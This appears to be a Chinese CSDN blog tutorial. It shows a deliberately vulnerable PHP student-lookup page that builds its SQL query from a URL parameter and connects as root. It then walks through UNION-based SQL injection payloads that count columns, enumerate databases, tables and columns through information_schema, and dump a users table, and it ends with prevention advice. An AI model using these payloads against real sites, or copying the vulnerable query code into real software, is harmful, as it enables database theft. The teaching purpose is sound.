通过url后面的参数进行sql注入,也是攻击者经常使用 伎俩,主要是利用了程序员使用了root帐户连接数据库和动态拼接sql指令的弊端。
看下面的例子
如果程序使用以下的代码实现上面的功能,无疑给攻击者开放了大门。
连接数据库:conn.php
<?php
$mysqli = new mysqli('localhost','root','root','demo');
if($mysqli->connect_errno){
printf("连接数据库失败: %s\n", $mysqli->connect_error);
exit();
}
$mysqli->query('set names utf8');
连接数据库千万不要使用root帐户,或者使用一个超级权限的帐户,去连接数据库。
上面代码已经给攻击者预留了可乘之机
显示学生列表 student.php
<?php
include 'conn.php';
$condition = '';
if(isset($_GET['no'])){
$no = $_GET['no'];
if(!empty($no)){
$condition = "where no = $no";
}
}
$sql = "select no,name,sex from student $condition";
//echo $sql;
//die;
$result = $mysqli->query($sql);
if($result === false){
die($mysqli->error);
}
$arr = [];
while($row = $result->fetch_array()){
$arr[] = $row;
}
$mysqli->close();
//print_r($arr);
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>学生列表</title>
<link rel="stylesheet" href="static/bootstrap-3.3.7-dist/css/bootstrap.css">
</head>
<body>
<div class="container"
<div class="row">
<div class="col-md-8 col-md-offset-2">
<form class="form-inline" method="get" style="margin:30px auto">
<div class="form-group" style="width: 100%">
<input type="text" class="form-control" style="width: 80%" name="no" placeholder="输入学号">
<button type="submit" class="btn btn-primary">查询</button>
</div>
</form>
<table class="table table-bordered table-hover">
<tr>
<th>学号</th>
<th>姓名</th>
<th>性别</th>
</tr>
<?php foreach($arr as $student){ ?>
<tr>
<td><?php echo $student['no'] ?></td>
<td><?php echo $student['name'] ?></td>
<td><?php echo $student['sex'] ?></td>
</tr>
<?php } ?>
</table>
</div>
</div>
<script src="static/jquery-1.11.3.min.js"></script>
<script src="static/bootstrap-3.3.7-dist/js/bootstrap.js"></script>
</body>
</html>
上面代码中动态构建 sql指令,同样给攻击者又开了一扇大门。
下面是模拟攻击者实施的连环计:
第一步:利用order by 能判断sql指令返回几个字段
在url中依次输入以下地址:
http://phpweb/student.php?no=1001 order by 1 %23 http://phpweb/student.php?no=1001 order by 2 %23 http://phpweb/student.php?no=1001 order by 3 %23 http://phpweb/student.php?no=1001 order by 4 %23 http://phpweb/student.php?no=1001 order by 5 %23
为什么使用的%23而不是#呢,因为由于编码的问题,在浏览器中直接提交#会变成空,所以我们使用url编码后的#,即%23,当传输到后端时,后端语言会对它自动解码成#,才能够成功带入数据库查询。
n依次取1,2,3,4 ....进行测试 当n = 4时,页面出现错误,说明当前查询返回3个字段
当n = 4 时,运行结果如下:
说明sql指令返回三个字段。
第二步:暴出当前库和版本
输入以下的url
http://phpweb/student.php?no=1001 and 1=2 union select 1,database(),version() %23
由于第一步已经测出查询结果返回3个字段, union 后面的select 指令的字段个数也要是三个
运行结果如下:
从运行的结果看,当前执行的数据库是demo,mysql版本是5.7.26
MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名、 列名、对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列。
第三步:暴出其他数据库
http://phpweb/student.php?no=1001 and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,1 %23
通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常
运行的结果是:
第四步:暴对应数据库的数据表
http://phpweb/student.php?no=1001 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=数据库名的十六进制 limit 0,1%23
同样可以调整limit的值 字符串=》十六进制,使用函数:bin2hex
攻击结果如下:
从上面的运行结果看,demo数据库中有攻击者关心的用户表users
第五步:暴对应数据库、数据表的各个字段
http://phpweb/student.php?no=1001 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema=库名十六进制 and table_name=表名十六进制 limit 0,1 %23
可以调整limit的值
运行结果如下:
上面显示了users数据表中各个字段
第六步:暴数据(脱库)
http://phpweb/student.php?no=1001 and 1=2 union select 1,字段名,字段名 from 库名.表名 limit 0,1 %23
可以调整Limit的值
运行结果如下:
最后一步,攻击者得到users数据表中所有记录,其它数据表同样也能获取数据
如何防范攻击者的sql注入呢?
1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。
2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等。
来源:CSDN
作者:李 书 明
链接:https://blog.csdn.net/lsmxx/article/details/104075616